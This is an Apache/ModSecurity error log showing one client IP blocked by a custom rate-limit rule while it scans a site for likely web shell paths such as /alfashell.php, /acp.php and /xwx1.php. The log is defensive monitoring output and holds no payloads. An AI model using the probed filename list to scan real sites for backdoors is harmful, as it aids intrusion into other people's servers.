[Sun Apr 12 12:15:05.101750 2026] [:error] [pid 25437:tid 25458] [client 20.215.64.75:9928] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adscSXf97wYZje1ep_PIfQAAANM"]
[Sun Apr 12 12:15:05.611307 2026] [:error] [pid 25437:tid 25454] [client 20.215.64.75:51210] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adscSXf97wYZje1ep_PIgAAAAM8"]
[Sun Apr 12 12:15:06.219345 2026] [:error] [pid 25327:tid 25355] [client 20.215.64.75:59753] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adscSi6h2tZEVJo9JFKVDgAAABM"]
[Sun Apr 12 12:15:06.747409 2026] [:error] [pid 25437:tid 25442] [client 20.215.64.75:59724] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adscSnf97wYZje1ep_PIhwAAAMM"]
[Sun Apr 12 12:15:07.356265 2026] [:error] [pid 26600:tid 26646] [client 20.215.64.75:59105] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adscS-1YwAZiXhQKLYrZUwAAAZE"]
[Sun Apr 12 12:15:07.903722 2026] [:error] [pid 26599:tid 26623] [client 20.215.64.75:51224] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "adscS3G89LXoQbk_rwCXjAAAAVU"]
[Sun Apr 12 12:15:08.586527 2026] [:error] [pid 25437:tid 25445] [client 20.215.64.75:59759] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adscTHf97wYZje1ep_PIiQAAAMY"]
[Sun Apr 12 12:15:09.217931 2026] [:error] [pid 26600:tid 26635] [client 20.215.64.75:62913] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adscTe1YwAZiXhQKLYrZVQAAAYY"]
[Sun Apr 12 12:15:09.758842 2026] [:error] [pid 25437:tid 25453] [client 20.215.64.75:9552] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adscTXf97wYZje1ep_PIjgAAAM4"]
[Sun Apr 12 12:15:10.440624 2026] [:error] [pid 25437:tid 25450] [client 20.215.64.75:53967] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "adscTnf97wYZje1ep_PIlAAAAMs"]
[Sun Apr 12 12:15:11.011863 2026] [:error] [pid 25437:tid 25439] [client 20.215.64.75:59767] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adscT3f97wYZje1ep_PIlgAAAMA"]
[Sun Apr 12 12:15:11.544939 2026] [:error] [pid 25437:tid 25446] [client 20.215.64.75:59089] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adscT3f97wYZje1ep_PImQAAAMc"]
[Sun Apr 12 12:15:12.070432 2026] [:error] [pid 26599:tid 26602] [client 20.215.64.75:59760] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adscUHG89LXoQbk_rwCXnAAAAUA"]
[Sun Apr 12 12:15:12.704752 2026] [:error] [pid 25328:tid 25377] [client 20.215.64.75:9942] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "adscUMxUaQZxT-e0YsCD5gAAAEo"]
[Sun Apr 12 12:15:13.244841 2026] [:error] [pid 25327:tid 25337] [client 20.215.64.75:9973] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adscUS6h2tZEVJo9JFKVDwAAAAE"]
[Sun Apr 12 12:15:13.778523 2026] [:error] [pid 60280:tid 60300] [client 20.215.64.75:61026] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adscUXBlLnDOYuIykkil3gAAAdI"]
[Sun Apr 12 12:15:14.355028 2026] [:error] [pid 60280:tid 60297] [client 20.215.64.75:59083] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adscUnBlLnDOYuIykkil4wAAAc8"]
[Sun Apr 12 12:15:14.892666 2026] [:error] [pid 60280:tid 60286] [client 20.215.64.75:59770] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "adscUnBlLnDOYuIykkil6QAAAcQ"]
[Sun Apr 12 12:15:15.428119 2026] [:error] [pid 26567:tid 26582] [client 20.215.64.75:51219] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adscU3hRpg6ptWFyFx1e5AAAAQ0"]
[Sun Apr 12 12:15:15.948291 2026] [:error] [pid 25437:tid 25458] [client 20.215.64.75:54004] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adscU3f97wYZje1ep_PInQAAANM"]
[Sun Apr 12 12:15:16.487783 2026] [:error] [pid 25328:tid 25387] [client 20.215.64.75:9553] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adscVMxUaQZxT-e0YsCD6gAAAE8"]
[Sun Apr 12 12:15:17.100213 2026] [:error] [pid 25329:tid 25381] [client 20.215.64.75:9958] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adscVWdcIYsS8Iyaj118jQAAAIM"]
[Sun Apr 12 12:15:17.732635 2026] [:error] [pid 25437:tid 25451] [client 20.215.64.75:9245] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adscVXf97wYZje1ep_PInwAAAMw"]
[Sun Apr 12 12:15:18.350394 2026] [:error] [pid 25328:tid 25389] [client 20.215.64.75:9975] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adscVsxUaQZxT-e0YsCD7AAAAFA"]
[Sun Apr 12 12:15:18.883860 2026] [:error] [pid 25437:tid 25455] [client 20.215.64.75:9544] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adscVnf97wYZje1ep_PIoAAAANA"]
[Sun Apr 12 12:15:19.446217 2026] [:error] [pid 60280:tid 60284] [client 20.215.64.75:9577] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "adscV3BlLnDOYuIykkil7wAAAcI"]
[Sun Apr 12 12:15:20.054493 2026] [:error] [pid 25328:tid 25368] [client 20.215.64.75:9579] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adscWMxUaQZxT-e0YsCD7gAAAEQ"]
[Sun Apr 12 12:15:20.590217 2026] [:error] [pid 60280:tid 60286] [client 20.215.64.75:9244] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adscWHBlLnDOYuIykkil8wAAAcQ"]
[Sun Apr 12 12:15:21.140453 2026] [:error] [pid 26567:tid 26581] [client 20.215.64.75:59741] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adscWXhRpg6ptWFyFx1e5gAAAQw"]
[Sun Apr 12 12:15:21.726299 2026] [:error] [pid 25328:tid 25377] [client 20.215.64.75:52462] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ew.php"] [unique_id "adscWcxUaQZxT-e0YsCD8gAAAEo"]
[Sun Apr 12 12:15:22.243076 2026] [:error] [pid 25327:tid 25350] [client 20.215.64.75:52451] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adscWi6h2tZEVJo9JFKVFQAAAA4"]
[Sun Apr 12 12:15:22.784983 2026] [:error] [pid 25437:tid 25463] [client 20.215.64.75:59773] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adscWnf97wYZje1ep_PIqAAAANg"]
[Sun Apr 12 12:15:23.331752 2026] [:error] [pid 60280:tid 60300] [client 20.215.64.75:59754] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adscW3BlLnDOYuIykkil-wAAAdI"]
[Sun Apr 12 12:15:23.872135 2026] [:error] [pid 60280:tid 60297] [client 20.215.64.75:52454] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adscW3BlLnDOYuIykkil_gAAAc8"]
[Sun Apr 12 12:15:24.537964 2026] [:error] [pid 25437:tid 25460] [client 20.215.64.75:9558] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adscXHf97wYZje1ep_PIqgAAANU"]
[Sun Apr 12 12:15:25.139254 2026] [:error] [pid 25329:tid 25409] [client 20.215.64.75:59772] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adscXWdcIYsS8Iyaj118jwAAAJM"]
[Sun Apr 12 12:15:25.743995 2026] [:error] [pid 26600:tid 26646] [client 20.215.64.75:51218] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adscXe1YwAZiXhQKLYrZXwAAAZE"]
[Sun Apr 12 12:15:26.385469 2026] [:error] [pid 25327:tid 25349] [client 20.215.64.75:9537] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adscXi6h2tZEVJo9JFKVGgAAAA0"]
[Sun Apr 12 12:15:26.910030 2026] [:error] [pid 26600:tid 26652] [client 20.215.64.75:51221] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adscXu1YwAZiXhQKLYrZYgAAAZc"]
[Sun Apr 12 12:15:27.463516 2026] [:error] [pid 26600:tid 26630] [client 20.215.64.75:9232] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adscX-1YwAZiXhQKLYrZaQAAAYE"]
[Sun Apr 12 12:15:27.988533 2026] [:error] [pid 25328:tid 25389] [client 20.215.64.75:59714] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adscX8xUaQZxT-e0YsCD-gAAAFA"]
[Sun Apr 12 12:15:28.527331 2026] [:error] [pid 25328:tid 25368] [client 20.215.64.75:59748] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adscYMxUaQZxT-e0YsCD_QAAAEQ"]
[Sun Apr 12 12:15:29.036652 2026] [:error] [pid 25328:tid 25391] [client 20.215.64.75:59728] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adscYcxUaQZxT-e0YsCEAQAAAFE"]
[Sun Apr 12 12:15:29.582370 2026] [:error] [pid 26567:tid 26569] [client 20.215.64.75:59127] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adscYXhRpg6ptWFyFx1e6QAAAQA"]
[Sun Apr 12 12:15:30.098253 2026] [:error] [pid 26567:tid 26578] [client 20.215.64.75:54014] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adscYnhRpg6ptWFyFx1e6wAAAQk"]
[Sun Apr 12 12:15:30.634939 2026] [:error] [pid 60280:tid 60286] [client 20.215.64.75:9581] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adscYnBlLnDOYuIykkimEAAAAcQ"]
[Sun Apr 12 12:15:31.144617 2026] [:error] [pid 25328:tid 25405] [client 20.215.64.75:53963] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adscY8xUaQZxT-e0YsCEBAAAAFc"]
[Sun Apr 12 12:15:31.701031 2026] [:error] [pid 26567:tid 26583] [client 20.215.64.75:9950] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adscY3hRpg6ptWFyFx1e7wAAAQ4"]
[Sun Apr 12 12:15:32.242609 2026] [:error] [pid 25328:tid 25387] [client 20.215.64.75:53960] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adscZMxUaQZxT-e0YsCEBQAAAE8"]
[Sun Apr 12 12:15:32.781863 2026] [:error] [pid 25328:tid 25383] [client 20.215.64.75:9273] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adscZMxUaQZxT-e0YsCEBwAAAE0"]
[Sun Apr 12 12:15:33.325690 2026] [:error] [pid 60280:tid 60301] [client 20.215.64.75:59098] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adscZXBlLnDOYuIykkimGwAAAdM"]
[Sun Apr 12 12:15:33.837496 2026] [:error] [pid 25328:tid 25365] [client 20.215.64.75:9240] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adscZcxUaQZxT-e0YsCECgAAAEE"]
[Sun Apr 12 12:15:34.370744 2026] [:error] [pid 25328:tid 25370] [client 20.215.64.75:53984] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adscZsxUaQZxT-e0YsCEDAAAAEY"]
[Sun Apr 12 12:15:34.892939 2026] [:error] [pid 60280:tid 60293] [client 20.215.64.75:59743] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adscZnBlLnDOYuIykkimJQAAAcs"]
[Sun Apr 12 12:15:35.411865 2026] [:error] [pid 25437:tid 25451] [client 20.215.64.75:9561] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adscZ3f97wYZje1ep_PIrQAAAMw"]
[Sun Apr 12 12:15:35.924977 2026] [:error] [pid 25327:tid 25343] [client 20.215.64.75:9227] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adscZy6h2tZEVJo9JFKVHAAAAAc"]
